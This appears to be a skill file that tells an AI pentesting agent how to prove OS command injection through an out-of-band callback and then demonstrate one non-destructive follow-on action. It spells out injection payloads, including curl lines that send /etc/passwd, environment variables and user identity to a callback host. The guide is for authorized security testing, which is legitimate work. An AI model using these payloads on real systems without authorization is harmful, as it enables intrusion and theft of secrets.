---
name: command-injection-rce
description: Turn suspected OS command injection (a parameter that lands in a shell or a child process) into proof of remote code execution via an OAST callback, plus one safe demonstration of follow-on impact (read a file, list users, env dump). Use when a parameter feeds an exec/spawn/system call, when payloads with $(), `` ` ``, `;`, `|`, `&&` cause response differences, or when audit flags CWE-78 / CWE-77. Never sends destructive commands.
license: MIT
allowed-tools:
  - query_records
  - inspect_record
  - replay_request
  - oast_mint
  - oast_poll
  - attack_kit
  - report_finding
  - update_finding
  - remember
  - update_plan
---

# Command Injection → RCE Proof

You have a parameter that smells like it lands in a shell or process
exec call. Your job is to prove arbitrary command execution by getting
an OAST callback from the server, then demonstrate one minimal
follow-on action (a file read, an env dump). Reporting "the response
changed when I sent `;`" is not enough.

## When this skill applies

- A parameter feeds something likely to exec: `cmd=`, `host=` (ping),
  `target=` (traceroute), `file=` (image conversion, PDF render,
  zip/tar), `filter=`, `format=` (ffmpeg, imagemagick), `name=` on a
  user-management endpoint that shells out.
- Response differs when you send characters that have shell meaning:
  `;`, `|`, `&`, `&&`, `||`, `` ` ``, `$(...)`, `\n`.
- A 500 error message reveals a binary name (`sh`, `bash`, `convert`,
  `ffmpeg`, `ImageMagick`, `node`, `python`, `php`) in the stack
  trace or response body.
- Audit finding: CWE-78 (OS command injection), CWE-77 (command
  injection), CWE-94 (code injection).

## Workflow

### 1. Confirm a shell metacharacter changes behavior

Pick a candidate parameter from `query_records` + `inspect_record`.
Send three `replay_request` probes:

- Baseline: harmless value (e.g. `8.8.8.8` for a ping endpoint).
- `8.8.8.8;` → trailing separator. Status / length differential?
- `8.8.8.8 && echo hi` → does `hi` appear in the response, or does
  the response take longer?

If none of these change the response, the parameter is probably
sanitized or doesn't shell out. Stop and pick another candidate.

`remember` the candidate parameter and which metacharacter triggered
the differential (key: `cmdinj-target`).

### 2. Confirm execution via OAST

Mint a canary with `oast_mint` (kind: `cmdinj-probe`). Inject a payload
that performs a DNS or HTTP request to the canary. Choose the encoding
by the suspected OS / language:

- **Generic shell**: `value; curl <canary>` or `value && nslookup <canary>`
- **Backticks**: `value`` `curl <canary>` `` (works in `sh`/`bash`).
- **`$()` substitution**: `value$(curl <canary>)`.
- **Windows cmd.exe**: `value & nslookup <canary>` (note the single `&`).
- **PowerShell**: `value; Invoke-WebRequest <canary>`.

Use `attack_kit` with `class: "cmd-injection"` to pull canonical
payload patterns for the parameter's encoding (URL vs JSON vs header).

Poll `oast_poll` for 60 seconds. The first DNS or HTTP callback proves
execution. **DNS-only is still proof** (most internal hosts can resolve
external names even when HTTP egress is blocked).

`remember` the callback proof (timestamp, payload, callback URL) with
key `cmdinj-proof`.

### 3. One follow-on demonstration

Once RCE is proven, send ONE additional payload to size impact. Pick
the cheapest demo that establishes "the attacker has hands on the box":

- File read: `; curl <canary>?d=$(cat /etc/passwd | base64)` (base64
  to survive DNS encoding; expect truncation).
- Env dump: `; env | curl --data-binary @- <canary>`
- Hostname / user: `; (whoami; hostname; id) | curl --data-binary @- <canary>`

Wait for the callback. Decode the leaked data (base64 if you used it).
**Include ONE line of the leaked data** in the finding — not the whole
`/etc/passwd`.

**Do not run destructive commands**: no `rm`, no `> /etc/...`, no
package installs, no port scans, no reverse shells, no persistent
mechanisms. The callback + one small data fetch is sufficient proof.

### 4. Persist the finding

`report_finding`:

- `severity`: `critical` — OS command execution on the server is
  always critical regardless of what you leaked.
- `title`: name the endpoint, parameter, and the proof: `"OS command
  injection in /api/render filter parameter; OAST callback + reads
  /etc/passwd"`.
- `cwe_id`: CWE-78.
- `description`: 3-4 sentences. The endpoint, the trigger
  metacharacter, the OAST callback timestamp, and one masked line of
  the follow-on demo (e.g., `"first /etc/passwd line: root:x:0:0:..."`).
- Include the exact payload that triggered the callback.

## Pitfalls

- A response delay when you send `; sleep 5` is *suggestive* but not
  proof — networking jitter and shared rate limiters cause similar
  delays. Require an OAST callback before claiming RCE.
- Some sandboxes (gVisor, nsjail) restrict egress; DNS-only callbacks
  may be all you get. Note that explicitly in the finding.
- Image processors (`convert`, `ffmpeg`) sometimes have shell
  injection via filenames or annotation fields — these surfaces are
  less obvious than `cmd=`; check filenames.
- Argument-injection (without shell) is a related but distinct flaw —
  `--config=/etc/passwd` against a tool that reads `--config` files.
  Still report as CWE-77 / CWE-78 if it leaks data.
- If the callback URL is base64-encoded data, decode and read it
  before reporting — sometimes the payload encoding garbled the data
  in transit and what you have is just truncated noise, not proof.

## Output expectations

- One `report_finding` (critical) with payload + callback timestamp +
  one masked line of leaked data.
- A `remember` note (key: `cmdinj-proof`) with the canonical payload.
- Plan item marked `done`.